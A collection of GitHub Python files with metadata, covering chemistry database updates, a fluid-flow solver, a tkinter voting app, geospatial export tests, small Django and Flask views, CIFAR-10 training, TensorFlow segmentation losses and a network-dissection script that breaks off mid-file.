+{"seq_id":"23925933983","text":"#!/usr/bin/python3\n# -*- coding: utf-8 -*-\n\n\nfrom math import log10, log\nimport csv\nimport sqlite3\n\nconnection = sqlite3.connect('/home/jjgomera/pychemqt/dat/databank.db')\n# Add table for wagner vapor pressure equation\ncursor = connection.cursor()\n\n# Add table from caleb thermo for Antoine extended equation\nwith open('/home/jjgomera/Programacion/chemeng/thermo/thermo/Vapor Pressure/Wagner Original McGarry.tsv') as csvfile:\n reader = csv.reader(csvfile, delimiter=\"\\t\")\n header = True\n for CAS, name, A, B, C, D, Pc, Tc, Tmin in reader:\n if header:\n header = False\n continue\n\n A = float(A)\n B = float(B)\n C = float(C)\n D = float(D)\n\n query = \"UPDATE compuestos SET wagner_A==%f, wagner_B==%f, \" % (A, B)\n query += \"wagner_C==%f, wagner_D==%f WHERE CAS=='%s'\" % (C, D, CAS)\n print(query)\n cursor.execute(query)\n connection.commit()\n\n","repo_name":"jjgomera/pychemqt","sub_path":".script/database.py","file_name":"database.py","file_ext":"py","file_size_in_byte":936,"program_lang":"python","lang":"en","doc_type":"code","stars":129,"dataset":"github-code","pt":"31"} +{"seq_id":"73555423447","text":"import numpy as np\nimport matplotlib.pyplot as pl\nalto=50\nancho=50\n#incognitas\nx0=np.zeros(alto*alto)\n#sistema de ecuaciones despues de discretizar\nsistema=[]\n#vector de terminos independientes\nTi=np.zeros(ancho*ancho)\nU = np.zeros((alto, ancho))\ndiferencia=np.ones( ancho*ancho,dtype= float)\nUinicial=2\nu=5\nv=5\n#barra\naltoBarra=20\nanchoBarra=4\nposXBarra=25\n\n#establece la veocidad inicial (La primera columna de la matriz)\nfor i in range(0,alto-1):\n U[i,0]=Uinicial\n\n\n#llena la matriz con numeros iniciales\n\nfor i in range(alto):\n for j in range(1,ancho):\n U[i,j]=U[i,j-1]-1/ancho\n\n#celdas relacionadas a la barra en 0\nfor i in range(alto-altoBarra,alto):\n for j in range(posXBarra-int(anchoBarra/2),posXBarra+int(anchoBarra/2)):\n U[i,j]=0\n\n\n\n#linea EA u=0 w=o\nfor j in range(ancho):\n U[alto-1,j]=0\n\n\n#Lado detrás de la viga B\n\nfor i in range(alto-altoBarra,alto-1):\n j=posXBarra+int(anchoBarra/2)\n U[i,j]=0\n\n\n#Lado arriba de la viga C\n\n\nfor j in range(posXBarra-int(anchoBarra/2),posXBarra+int(anchoBarra/2)):\n i=alto-altoBarra\n U[i,j]=0\n\n#Lado frontal de la viga D\n\nfor i in range(alto-altoBarra,alto-1):\n j=posXBarra-int(anchoBarra/2)-1\n U[i,j]=0\n \n\n\n#Inlet (entrada) F\nfor i in range(alto-1):\n j=0\n U[i,j]=Uinicial\n\n#Surface G\nfor i in range(alto-altoBarra-anchoBarra):\n for j in range(ancho):\n U[i,j]=Uinicial\n\n\n\n#Outlet (salida) H\n\nfor i in range(alto):\n j=alto-1\n U[i,j]=U[i,j-1]\n\n#determina donde esta ubicada una ecuacion\ndef puesto(i,j):\n p=0\n for x in range(alto):\n for y in range(ancho):\n if x==i and y==j:\n return p\n else:\n p=p+1\n\n\n#se encarga de generar las ecuaciones\ndef ecuacion(i,j):\n \n ecu=np.zeros(ancho*ancho)\n ecu[puesto(i,j)]=-4\n if i < alto-1:\n ecu[puesto(i+1,j)]=(1-u/2)\n if i > 0:\n ecu[puesto(i-1,j)]=(1-u/2)\n if j < ancho-1:\n ecu[puesto(i,j+1)]=(1-v/2)\n if j != 0:\n ecu[puesto(i,j-1)]=(1-v/2)\n return ecu\n\n\n##################################################\n#armamos el sistema resultante\nfor i in range(alto):\n for j in range(ancho):\n sistema.append(ecuacion(i,j))\n\nsis=np.zeros((alto*alto,ancho*ancho))\nfor i in range(alto*alto):\n for j in range(ancho*ancho):\n sis[i,j]=sistema[i][j]\nsistema=sis\n#################################################\n\n#establecemos las condiciones iniciales con ls terminos independientes\nfor i in range(alto):\n for j in range(ancho):\n Ti[puesto(i,j)]=U[i,j]\n\ndef seidel():\n\n it=5 #numero de iteraciones\n while it > 0:\n suma=0\n for i in range(alto*alto):\n suma=0\n for j in range(ancho*ancho):\n if ( j!= i):\n suma=suma+sistema[i,j]*x0[j]\n nuevo=(Ti[i]-suma)/-sistema[i,i]\n x0[i]=nuevo\n it=it-1\n\n\n\n#armar u\ndef armar_U():\n u=0\n\n for i in range(alto):\n for j in range(ancho):\n U[i,j]=x0[u]\n u=u+1\n\n\nseidel()\narmar_U()\n\nprint(Ti)\nprint(sistema)\n\ncolormap=pl.imshow(U)\npl.colorbar(colormap)\n\n","repo_name":"andres-saa/navier-stokes","sub_path":"navier-stokes.py","file_name":"navier-stokes.py","file_ext":"py","file_size_in_byte":2906,"program_lang":"python","lang":"es","doc_type":"code","stars":0,"dataset":"github-code","pt":"31"} +{"seq_id":"12536799556","text":"#importing tkinter to build the GUI and the classes defined on Starter,loginwindow,Voting,Show_resutls\r\nimport tkinter as tk\r\nfrom Starter import StartWindow\r\nfrom loginwindow import LoginWindow\r\nfrom Voting import VoteWindow\r\nfrom Show_Results import ShowResults\r\n# Done by Luis Nepomuceno lg6598x\r\n# Main class,defines the blueprint for all the windows within the system.\r\nclass MainFrame(tk.Tk):\r\n def __init__(self,*args,**kwargs):\r\n tk.Tk.__init__(self,*args,**kwargs)\r\n\r\n self.title(\"Main menu\")\r\n self.geometry(\"500x500\")\r\n\r\n window = tk.Frame(self)\r\n window.pack(side = \"top\", fill = \"both\", expand = True)\r\n window.grid_rowconfigure(0,weight =1)\r\n window.grid_columnconfigure(0,weight =1)\r\n\r\n self.frames = {}\r\n avaiable_frames = (StartWindow,LoginWindow,VoteWindow,ShowResults)\r\n for i in avaiable_frames:\r\n page_name = i.__name__\r\n frame = i(parent = window,controller = self)\r\n self.frames[page_name] = frame\r\n frame.grid(row=0,column = 0,sticky = \"nsew\")\r\n self.show_window(\"LoginWindow\")\r\n#defines which frame is going to appear on the screen.\r\n def show_window(self, window_name):\r\n frame = self.frames[window_name]\r\n frame.tkraise()\r\n\r\n\r\nexe = MainFrame()\r\nexe.mainloop()","repo_name":"luisnepo/Voting-System-","sub_path":"Mainframe.py","file_name":"Mainframe.py","file_ext":"py","file_size_in_byte":1328,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"31"} +{"seq_id":"18901659669","text":"'''Verifier que l'utilisateur a entrer un nombre + Gerer l'erreur d'espace'''\nb = True\nwhile b:\n ch = input(\"Entrer: \")\n ch = ch.strip() #Eliminer espace\n if ch and ch.isdigit(): #isdigit() fonction qui return True si variable est digit\n number = int(ch)\n b = False \n else:\n print(\"(Invalid data) entrer un nombre.\")\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n# '''Verifier type d'une variable'''\n# x = 2\n# print(isinstance(x, str)) #Return False si x est diferent de str\n\n# '''Verifier si variable est numerique'''\n\n# text = \"12345\"\n# if text.isnumeric():\n# print(\"La chaîne contient uniquement des chiffres.\")\n","repo_name":"Tahaouad/Python","sub_path":"Verifier_Tyoe_data.py","file_name":"Verifier_Tyoe_data.py","file_ext":"py","file_size_in_byte":630,"program_lang":"python","lang":"fr","doc_type":"code","stars":0,"dataset":"github-code","pt":"31"} +{"seq_id":"41008429368","text":"# This module contains functions for converting the input wav file to mp3, as well as includes functions for integration with Google's Speech to Text API for\n# transcribing audio to text\n\nimport pydub\nimport os\nfrom google.cloud import speech\n\n\n# Convertes a .wav file to .mp3\n# This is done because it reduces the file size and also performance with Google Cloud Speech to Text API is much faster\ndef convert_wav_to_mp3(audio_clip_filename, wav_file_path, destination_path):\n wav_file = wav_file_path + audio_clip_filename + \".wav\"\n sound = pydub.AudioSegment.from_wav(wav_file)\n #filename = audio_clip_filename.split(\".\")[0]\n mp3_filename = destination_path + audio_clip_filename + \".mp3\"\n sound.export(mp3_filename, format=\"mp3\")\n print(\"File Converted Successfully\")\n return mp3_filename\n\n\n# Passes an MP3 file to Google Cloud Speech to Text API and receives the transcription\ndef speech_to_text(mp3_audio_file_name, client_service_key_location, language):\n os.environ['GOOGLE_APPLICATION_CREDENTIALS'] = client_service_key_location\n speech_client = speech.SpeechClient()\n media_file_name = 'audio_clips/converted/' + mp3_audio_file_name + '.mp3'\n \n with open (media_file_name, 'rb') as f:\n byte_data_wav = f.read()\n \n audio_mp3 = speech.RecognitionAudio(content=byte_data_wav)\n \n config_mp3 = speech.RecognitionConfig(\n sample_rate_hertz=48000,\n enable_automatic_punctuation=True,\n language_code= language #'en-US'\n )\n\n # Transcribing the RecognitionAudio objects\n response_standard_mp3 = speech_client.recognize(\n config=config_mp3,\n audio=audio_mp3\n )\n\n transcription = str()\n for result in response_standard_mp3.results:\n transcription.append(result.alternatives[0].transcript)\n #confidence = result.alternatives[0].confidence\n\n return transcription #, confidence\n","repo_name":"SaptarshiKundu/Intelligent-Interpreters--App_Deployment_Agile_Project_Management","sub_path":"modules/speech_to_text.py","file_name":"speech_to_text.py","file_ext":"py","file_size_in_byte":1897,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"31"} +{"seq_id":"5548475286","text":"import json\nfrom uuid import uuid4\nfrom string import ascii_letters, printable\nfrom tempfile import NamedTemporaryFile\n\nimport pytest\nimport transaction\nfrom osgeo import gdal, ogr\n\nfrom .. import Feature\nfrom ..ogrdriver import EXPORT_FORMAT_OGR\n\nfrom ...auth import User\nfrom ...lib.geometry import Geometry\nfrom ...env.model import DBSession\nfrom ...spatial_ref_sys import SRS\nfrom ...vector_layer import VectorLayer\n\n\n@pytest.fixture(scope='module')\ndef layer_id(ngw_resource_group):\n with transaction.manager:\n obj = VectorLayer(\n parent_id=ngw_resource_group, display_name='vector_layer',\n owner_user=User.by_keyname('administrator'),\n srs=SRS.filter_by(id=3857).one(),\n tbl_uuid=uuid4().hex,\n ).persist()\n\n geojson = {\n \"type\": \"FeatureCollection\",\n \"features\": [\n {\n \"type\": \"Feature\",\n \"properties\": {\"field\": \"value\"},\n \"geometry\": {\n \"type\": \"Point\",\n \"coordinates\": [0, 0],\n },\n },\n ],\n }\n\n dsource = ogr.Open(json.dumps(geojson))\n layer = dsource.GetLayer(0)\n\n obj.setup_from_ogr(layer)\n obj.load_from_ogr(layer)\n\n DBSession.flush()\n DBSession.expunge(obj)\n\n yield obj.id\n\n with transaction.manager:\n DBSession.delete(VectorLayer.filter_by(id=obj.id).one())\n\n\n@pytest.fixture()\ndef update_field(layer_id, ngw_webtest_app, ngw_auth_administrator):\n\n def wrapped(**field):\n if 'keyname' not in field:\n field['keyname'] = 'keyname'\n if 'display_name' not in field:\n field['display_name'] = 'display_name'\n\n resp = ngw_webtest_app.get(f'/api/resource/{layer_id}')\n fields = resp.json['feature_layer']['fields']\n assert len(fields) == 1\n\n fields[0].update(field)\n ngw_webtest_app.put_json(f'/api/resource/{layer_id}', dict(\n feature_layer=dict(fields=fields)))\n\n return wrapped\n\n\n@pytest.fixture()\ndef export_geojson(layer_id, ngw_webtest_app, ngw_auth_administrator):\n\n def wrapped(display_name=False, fid=None, intersects=None, intersects_srs=None):\n qs = dict(\n format='GeoJSON', srs='4326', zipped='false',\n display_name=str(display_name).lower())\n if intersects is not None:\n qs['intersects'] = intersects\n if intersects_srs is not None:\n qs['intersects_srs'] = intersects_srs\n if fid is not None:\n qs['fid'] = fid\n resp = ngw_webtest_app.get(f'/api/resource/{layer_id}/export', qs)\n return resp.json\n\n return wrapped\n\n\n@pytest.mark.parametrize('value', [\n pytest.param(ascii_letters, id='letters'),\n pytest.param(printable, id='printable'),\n pytest.param(\"юникод\", id='unicode'),\n pytest.param(\"new\\nline\", id='newline'),\n pytest.param(\"\\r\\t\\\\n\", id='escape'),\n pytest.param(\"'single'\", id='single'),\n pytest.param('\"single\"', id='double'),\n pytest.param('FID', id='fid'),\n pytest.param('COUNT(*)', id='count'),\n])\ndef test_field_escape(value, update_field, export_geojson):\n update_field(keyname=value)\n geojson = export_geojson(display_name=False)\n fprop = geojson['features'][0]['properties']\n assert fprop[value] == 'value'\n\n update_field(display_name=value)\n geojson = export_geojson(display_name=True)\n fprop = geojson['features'][0]['properties']\n assert fprop[value] == 'value'\n\n # to deal with SQL column names that look like SQL keywords\n update_field(keyname=value)\n geojson = export_geojson(display_name=True)\n fprop = geojson['features'][0]['properties']\n assert fprop['display_name'] == 'value'\n\n\n@pytest.mark.parametrize('intersects, count', [\n ('POLYGON((-1 -1, -1 1, 1 1, 1 -1, -1 -1))', 1),\n ('POLYGON((1 1, 1 3, 3 3, 3 1, 1 1))', 0),\n])\ndef test_intersects(intersects, count, export_geojson):\n geojson = export_geojson(intersects=intersects, intersects_srs=3857)\n assert len(geojson['features']) == count\n\n\n@pytest.fixture(scope='function')\ndef resources(ngw_resource_group):\n some = 3\n params = []\n\n with transaction.manager:\n admin = User.by_keyname('administrator')\n srs = SRS.filter_by(id=3857).one()\n for i in range(some):\n layer = VectorLayer(\n parent_id=ngw_resource_group, display_name=f'Test layer {i}',\n owner_user=admin, srs=srs, tbl_uuid=uuid4().hex,\n geometry_type='POINT',\n ).persist()\n\n layer.setup_from_fields([])\n\n DBSession.flush()\n\n f = Feature()\n f.geom = Geometry.from_wkt(f'POINT ({i} {i})')\n layer.feature_create(f)\n\n params.append(dict(id=layer.id, name=f'layer_{i}'))\n\n yield params\n\n with transaction.manager:\n for param in params:\n DBSession.delete(VectorLayer.filter_by(id=param['id']).one())\n\n\n@pytest.mark.parametrize('driver_label', [\n pytest.param(label, id=label, marks=pytest.mark.skipif(\n driver.display_name in ('Storage and eXchange Format (*.sxf)', 'MapInfo MIF/MID (*.mif/*.mid)'),\n reason='Not readable'))\n for label, driver in EXPORT_FORMAT_OGR.items()\n])\ndef test_export_multi(driver_label, resources, ngw_webtest_app, ngw_auth_administrator):\n driver = EXPORT_FORMAT_OGR[driver_label]\n params = dict(\n format=driver_label,\n resources=resources\n )\n response = ngw_webtest_app.post_json('/api/component/feature_layer/export', params, status=200)\n\n with NamedTemporaryFile(suffix='.zip') as t:\n t.write(response.body)\n t.flush()\n\n for param in resources:\n name = param['name']\n if driver.single_file:\n ogrfn = f'/vsizip/{t.name}/{name}.{driver.extension}'\n else:\n ogrfn = f'/vsizip/{t.name}/{name}/{name}.{driver.extension}'\n ds = gdal.OpenEx(ogrfn, 0)\n assert ds is not None\n\n layer = ds.GetLayer(0)\n assert layer is not None\n assert layer.GetFeatureCount() == 1\n","repo_name":"meralester/nextgisweb","sub_path":"nextgisweb/feature_layer/test/test_api_export.py","file_name":"test_api_export.py","file_ext":"py","file_size_in_byte":6202,"program_lang":"python","lang":"en","doc_type":"code","dataset":"github-code","pt":"31"} +{"seq_id":"72507919768","text":"from django.shortcuts import render\nfrom .forms import RDOForm\nfrom .models import RDO\nimport datetime\n\ndef novo_rdo( request ):\n\tfRDO = RDOForm()\n\tiNumero = (RDO.objects.count() + 1)\n\tdData = datetime.date.today()\n\t\n\tif request.method == 'POST':\n\t\tfRDO = RDOForm( request.POST )\n\n\t\tif fRDO.is_valid():\n\t\t\tRDO.objects.create( numero = iNumero, \n\t\t\t\t\t\t\t\tdata = dData, \n\t\t\t\t\t\t\t\t**fRDO.cleaned_data )\n\t\t\tfRDO = RDOForm()\n\t\t\tiNumero = (RDO.objects.count() + 1)\n\t\n\tcontext = { 'numero': iNumero,\n\t\t\t\t'data': format( dData, '%d/%m/%y' ),\n\t\t\t\t'ano': datetime.date.today().year,\n\t\t\t\t'form': fRDO }\n\n\treturn render( request, \"novo_rdo.html\", context )\n\n# Create your views here.\n","repo_name":"claudiofrancopereira/rdogcm","sub_path":"novo_rdo/views.py","file_name":"views.py","file_ext":"py","file_size_in_byte":670,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"31"} +{"seq_id":"11758286662","text":"import plotly.express as px\r\nimport pandas as pd\r\n\r\ndf1 = pd.read_csv(\"newData.csv\")\r\norder = []\r\nb = []\r\nfor idx, data in df1.iterrows():\r\n order.append(data[0])\r\n\r\nfor idx, data in df1.iterrows():\r\n startdate = \"1970-01-01 \" + data[2]\r\n finishdate = \"1970-01-01 \" + data[3]\r\n a = {\"Task\": data[0], \"Start\": startdate, \"Finish\": finishdate, \"Resource\": data[1]}\r\n b.append(a)\r\n\r\nb.append({\"Task\": \"02/02/2009\", \"Start\": \"1970-01-01 7:15:17\", \"Finish\": \"1970-01-01 7:21:04\", \"Resource\": \"R1_Bed_to_Toilet\"})\r\ndf = pd.DataFrame(b)\r\nfig = px.timeline(df, x_start=\"Start\", x_end=\"Finish\", y=\"Task\", color=\"Resource\", title=\"Activity Occurrence\",\r\n opacity=0.9, )\r\nfig.update_xaxes(\r\n tickformat=\"%H\\n%M\",\r\n tickformatstops=[\r\n dict(dtickrange=[3600000, 86400000], value=\"%H:%M\")] # range is 1 hour to 24 hours\r\n)\r\n\r\nfig.update_yaxes(categoryorder='array', categoryarray=order)\r\nfig.update_yaxes(autorange=\"reversed\")\r\nfig.show()\r\nfig.write_html(\"Activity_Chart.html\")\r\n","repo_name":"wxy12151/IoT-system-for-detecting-the-signs-of-deterioration-in-the-person-with-a-chronic","sub_path":"Phase II/EDA_code/TimelineChart.py","file_name":"TimelineChart.py","file_ext":"py","file_size_in_byte":1012,"program_lang":"python","lang":"en","doc_type":"code","stars":3,"dataset":"github-code","pt":"31"} +{"seq_id":"37025892272","text":"import tensorflow as tf\r\nfrom keras import layers,models\r\nfrom keras.preprocessing.image import ImageDataGenerator\r\nimport matplotlib.pyplot as plt\r\nfrom sklearn.model_selection import train_test_split\r\nimport os\r\n\r\n(image_train,label_train),(image_test,label_test) = tf.keras.datasets.cifar10.load_data()\r\nimage_train,image_val,label_train,label_val = train_test_split(image_train,label_train,test_size=0.2)\r\n\r\n'''def setDir(filepath):\r\n if not os.path.exists(filepath):\r\n os.mkdir(filepath)\r\n else:\r\n shutil.rmtree(filepath,ignore_errors=True)'''\r\n\r\ndef train(epochs):\r\n model = models.Sequential()\r\n model.add(layers.Conv2D(64, (3, 3), strides=(1, 1), input_shape=(32, 32, 3), padding='same', activation='relu',\r\n kernel_initializer='uniform'))\r\n model.add(layers.MaxPooling2D(pool_size=(2, 2)))\r\n model.add(\r\n layers.Conv2D(128, (3, 3), strides=(1, 1), padding='same', activation='relu', kernel_initializer='uniform'))\r\n model.add(layers.MaxPooling2D(pool_size=(2, 2)))\r\n\r\n model.add(layers.Flatten())\r\n model.add(layers.Dropout(0.5))\r\n model.add(layers.Dense(128, activation='relu'))\r\n model.add(layers.Dropout(0.5))\r\n model.add(layers.Dense(32, activation='relu'))\r\n model.add(layers.Dense(10, activation='softmax'))\r\n model.summary()\r\n model.compile(optimizer='adam', loss='categorical_crossentropy', metrics=['accuracy'])\r\n output = model.fit(image_train, label_train, epochs=epochs, batch_size=64, validation_data=(image_val, label_val),\r\n verbose=1)\r\n result = model.evaluate(image_test, label_test)\r\n print(\"Loss:\", result[0])\r\n print('Accuracy:' + str(result[1] * 100) + '%')\r\n show_loss_acc(output)\r\n path1 = './weights/' + str(epochs) + '_times_model.h5'\r\n model.save(path1)\r\n print(\"have been saved in weight/\" + str(epochs) + '_times_model.h5')\r\n\r\ndef show_loss_acc(history):\r\n acc = history.history['accuracy']\r\n val_acc = history.history['val_accuracy']\r\n loss = history.history['loss']\r\n val_loss = history.history['val_loss']\r\n\r\n plt.figure(figsize=(8, 8))\r\n plt.subplot(2, 1, 1)\r\n plt.plot(acc, label='Training Accuracy')\r\n plt.plot(val_acc, label='Validation Accuracy')\r\n plt.legend(loc='lower right')\r\n plt.ylabel('Accuracy')\r\n plt.ylim([min(plt.ylim()), 1])\r\n plt.title('Training and Validation Accuracy')\r\n\r\n plt.subplot(2, 1, 2)\r\n plt.plot(loss, label='Training Loss')\r\n plt.plot(val_loss, label='Validation Loss')\r\n plt.legend(loc='upper right')\r\n plt.ylabel('Cross Entropy')\r\n plt.title('Training and Validation Loss')\r\n plt.xlabel('epoch')\r\n path2 = './result/results_tables.png'\r\n plt.savefig(path2, dpi=100)\r\n plt.show()\r\n\r\nclasses = ['plane','car','bird','cat','deer',\r\n 'dog','frog','horse','ship','truck']\r\n\r\ndataGen = ImageDataGenerator(\r\n rotation_range=180,\r\n width_shift_range=0.3,\r\n height_shift_range=0.3,\r\n horizontal_flip=True\r\n)\r\n\r\nimage_train = image_train/255\r\ndataGen.fit(image_train)\r\nimage_val = image_val/255\r\ndataGen.fit(image_val)\r\nimage_test = image_test/255\r\n\r\nlabel_train = tf.keras.utils.to_categorical(label_train,10)\r\nlabel_val = tf.keras.utils.to_categorical(label_val,10)\r\nlabel_test = tf.keras.utils.to_categorical(label_test,10)\r\n\r\nn = int(input(\"please enter train times:\"))\r\ntrain(n)\r\n","repo_name":"sincereplume/-cifar10-","sub_path":"train1.py","file_name":"train1.py","file_ext":"py","file_size_in_byte":3374,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"31"} +{"seq_id":"26073995740","text":"from django.shortcuts import render, get_object_or_404\nfrom .models import ArticleType, Article\n\n# Create your views here.\ndef article_list(request):\n article_types = ArticleType.objects.all()\n articles = Article.objects.all()\n context = {}\n context['article_types'] = article_types\n context['articles'] = articles\n return render(request, 'article_list.html', context)\n\ndef article_detail(request, article_pk):\n article = get_object_or_404(Article, pk=article_pk)\n context = {}\n context['article'] = article\n return render(request, 'article_detail.html', context)\n\ndef article_with_type(request, article_type_pk):\n article_types = ArticleType.objects.all()\n article_type = get_object_or_404(ArticleType, pk=article_type_pk)\n articles = Article.objects.filter(article_type=article_type)\n context = {}\n context['article_type'] = article_type\n context['article_types'] = article_types\n context['articles'] = articles\n return render(request, 'article_with_type.html', context)\n\ndef article_with_date(request, article_pk):\n pass","repo_name":"GittenHub/Learn-Django-2.0","sub_path":"ArticleSite/article/views.py","file_name":"views.py","file_ext":"py","file_size_in_byte":1080,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"31"} +{"seq_id":"36370342125","text":"from flask import Flask, render_template, jsonify\napp = Flask(__name__)\n\n@app.route('/')\ndef json_data():\n\tcolors = [{'type': 'primary', 'value':1},\n\t\t\t {'type': 'secondary', 'value':2} ]\n\treturn jsonify(results = colors)\n\nif __name__ == '__main__':\n\tapp.run(\n\t\thost = '127.0.0.1',\n\t\tport = int(80),\n\t\tdebug = True)","repo_name":"share-with-me/flask_ex","sub_path":"jsonify.py","file_name":"jsonify.py","file_ext":"py","file_size_in_byte":316,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"31"} +{"seq_id":"71506968087","text":"import logging\n\nfrom eventbrain.decision.base import DecisionBase\n\nLOG = logging.getLogger(\"CPU Peak\")\n\n\nclass CPU_peak(DecisionBase):\n \"\"\"\n A basic class to detect CPU peaks. Initial threshold is\n max 90% load over 5 min period.\n \"\"\"\n\n id = \"cpu_peak\"\n\n def __init__(self, interval=5 * 60, threshold=90.0, **kwargs):\n super(CPU_peak, self).__init__(interval,\n threshold,\n self.calculate_peak, **kwargs)\n\n def calculate_peak(self, items):\n if not items:\n return 0\n return sum([float(item) for item in items]) / float(len(items))\n\n def fire(self, sender, value, *args, **kwargs):\n LOG.info(\"Detected CPU Peak at [%s]: %.2f%% average, \"\n \"with threshold %.2f%% for %s seconds !!\" % (sender,\n value,\n self.threshold,\n self.period))\n","repo_name":"ttrifonov/EventBrain","sub_path":"src/eventbrain/contrib/decisions/CPU.py","file_name":"CPU.py","file_ext":"py","file_size_in_byte":1061,"program_lang":"python","lang":"en","doc_type":"code","stars":7,"dataset":"github-code","pt":"31"} +{"seq_id":"73072368407","text":"#Author: Firat Ozdemir, 2018, fozdemir@gmail.com, ETH Zurich\n\n\nimport tensorflow as tf\nimport numpy as np\n\n\n\ndef weighted_cross_entropy_loss(logits, labels, class_weights):\n '''Function expects logits and labels in a \"categorical\" form (one-hot encoded, also supports if classes are\n not mutually exclusive)'''\n n_class = len(class_weights)\n\n flat_logits = tf.reshape(logits, [-1, n_class])\n flat_labels = tf.reshape(labels, [-1, n_class])\n\n loss_voxels = tf.nn.softmax_cross_entropy_with_logits_v2(logits=flat_logits, labels=flat_labels)\n\n if not np.all(class_weights == class_weights[0]):\n class_weights_t = tf.constant(np.array(class_weights, dtype=np.float32))\n w_t = tf.math.reduce_sum(tf.math.multiply(flat_labels, class_weights_t), axis=-1) #weight for every voxel.\n loss_voxels = tf.math.multiply(loss_voxels, w_t)\n else:\n print('All classes have same weight, non-weighted loss is going to be applied.')\n\n scalar_loss = tf.math.reduce_mean(loss_voxels)\n return scalar_loss\n\n\ndef weighted_soft_dice_class_array(logits, labels, class_weights, epsilon=1.e-8):\n '''Function expects logits and labels in a \"categorical\" form (one-hot encoded, also supports if classes are\n not mutually exclusive)'''\n n_class = len(class_weights)\n\n flat_logits = tf.reshape(logits, [-1, n_class])\n flat_logits = tf.nn.softmax(flat_logits, axis=1)\n flat_labels = tf.cast(tf.reshape(labels, [-1, n_class]), dtype=tf.float32)\n\n intersection = tf.math.reduce_sum(tf.math.multiply(flat_logits, flat_labels), axis=0) # |X \\cap Y| per class\n x = tf.math.reduce_sum(flat_logits, axis=0) #|X|\n y = tf.math.reduce_sum(flat_labels, axis=0) #|Y|\n\n dice_array = 2 * intersection / (x + y + epsilon)\n return dice_array\n\ndef weighted_soft_dice_score(logits, labels, class_weights, channels_to_ignore=[0], epsilon=1.e-8):\n\n n_class = len(class_weights)\n dice_array = weighted_soft_dice_class_array(logits=logits, labels=labels, class_weights=class_weights,\n epsilon=epsilon)\n channels_of_interest = [i for i in range(n_class) if i not in channels_to_ignore]\n if len(channels_of_interest) == 1:\n return tf.math.reduce_mean(dice_array[...,channels_of_interest[0]])\n elif len(channels_of_interest) > 1:\n fg_array = tf.concat([dice_array[...,i] for i in channels_of_interest], axis=1)\n return tf.math.reduce_mean(fg_array)\n else:\n raise AssertionError('No FG channel!')\n\n","repo_name":"firatozdemir/LwfSeg-AeiSeg","sub_path":"wrappers/losses.py","file_name":"losses.py","file_ext":"py","file_size_in_byte":2525,"program_lang":"python","lang":"en","doc_type":"code","stars":6,"dataset":"github-code","pt":"31"} +{"seq_id":"32212048500","text":"import settings\nfrom loader.model_loader import loadmodel\nfrom dissection.neuron import hook_feature, NeuronOperator\nfrom dissection import contrib\nfrom visualize.report import (\n neuron as vneuron,\n final as vfinal,\n index as vindex,\n)\nfrom util.clean import clean\nfrom util.misc import safe_layername\nfrom tqdm import tqdm\nfrom scipy.spatial import distance\nimport torch\n# import torch.nn.functional as F\nimport pickle\nimport os\nimport pandas as pd\nfrom loader.data_loader import ade20k\nfrom loader.data_loader import formula as F\nimport numpy as np\nimport pycocotools.mask as cmask\nfrom PIL import Image, ImageFilter\nimport matplotlib.pyplot as plt\nfrom scipy import ndimage\nimport matplotlib.colors\n\n\nMG = 1\nBLUE_TINT = np.array([-MG * 255, -MG * 255, MG * 255])\nPURPLE_TINT = np.array([MG * 255, -MG * 600, MG * 255])\nRED_TINT = np.array([MG * 255, -MG * 255, -MG * 255])\n\n\ndef add_heatmap(img, acts, actmin=0.0, actmax=1.0):\n cmap = plt.cm.rainbow\n norm = matplotlib.colors.Normalize(vmin=actmin, vmax=actmax)\n act_colors = cmap(norm(acts))\n act_colors = act_colors[:, :, :3]\n # weighted combination of colors and mask\n weighted = (0.5 * act_colors * 255) + (0.5 * img)\n weighted = np.clip(weighted, 0, 255)\n weighted = np.round(weighted).astype(np.uint8)\n return weighted\n\n\ndef iou(m, n):\n intersection = np.logical_and(m, n).sum()\n union = np.logical_or(m, n).sum()\n return (intersection) / (union + 1e-10)\n\n\ndef iou_mask(img, neuron, mask):\n img = img.astype(np.int64)\n\n nborder = get_border(neuron)\n mborder = get_border(mask)\n border = np.logical_or(nborder, mborder)\n\n intersection = np.logical_and(neuron, mask)\n # union = np.logical_xor(neuron, mask)\n\n int_mask = intersection[:, :, np.newaxis] * PURPLE_TINT\n int_mask = np.round(int_mask).astype(np.int64)\n\n neuron_mask = neuron[:, :, np.newaxis] * RED_TINT\n neuron_mask = np.round(neuron_mask).astype(np.int64)\n\n mask_mask = mask[:, :, np.newaxis] * BLUE_TINT\n mask_mask = np.round(mask_mask).astype(np.int64)\n\n img += neuron_mask + mask_mask + int_mask\n\n img[border] = (255, 255, 0)\n\n img = np.clip(img, 0, 255).astype(np.uint8)\n return img\n\n\ndef noop(*args, **kwargs):\n return None\n\n\nlayernames = list(map(safe_layername, settings.FEATURE_NAMES))\n\n\nhook_modules = []\n\n\nmodel = loadmodel(hook_feature, hook_modules=hook_modules)\nfo = NeuronOperator()\n\n# ==== STEP 1: Feature extraction ====\n# features: list of activations - one 63305 x c x h x w tensor for each feature\n# layer (defined by settings.FEATURE_NAMES; default is just layer4)\n# maxfeature: the maximum activation across the input map for each channel (e.g. for layer 4, there is a 7x7 input map; what's the max value). one 63305 x c tensor for each feature\nfeatures, maxfeature, preds, logits = fo.feature_extraction(model=model)\n\n# ==== STEP 2: Threshold quantization ====\nthresholds = [\n fo.quantile_threshold(lf, savepath=f\"quantile_{ln}.npy\")\n for lf, ln in zip(features, layernames)\n]\n\n# ==== New: multilayer case - neuron contributions ====\ncontrs_spread = [{} for _ in layernames + [\"final\"]]\n\n# Zip it all together\nranger = tqdm(\n zip(\n layernames,\n features,\n maxfeature,\n thresholds,\n [None, *layernames],\n [None, *features],\n [None, *thresholds],\n contrs_spread,\n ),\n total=len(layernames),\n)\n\ntallies = []\n# Load cached card htmls if they exist - will be overwritten if not skipping\n# summarization step\nall_card_htmls_fname = os.path.join(settings.OUTPUT_FOLDER, \"card_htmls.pkl\")\nif os.path.exists(all_card_htmls_fname):\n print(f\"Loading cached card htmls {all_card_htmls_fname}\")\n with open(all_card_htmls_fname, \"rb\") as f:\n all_card_htmls = 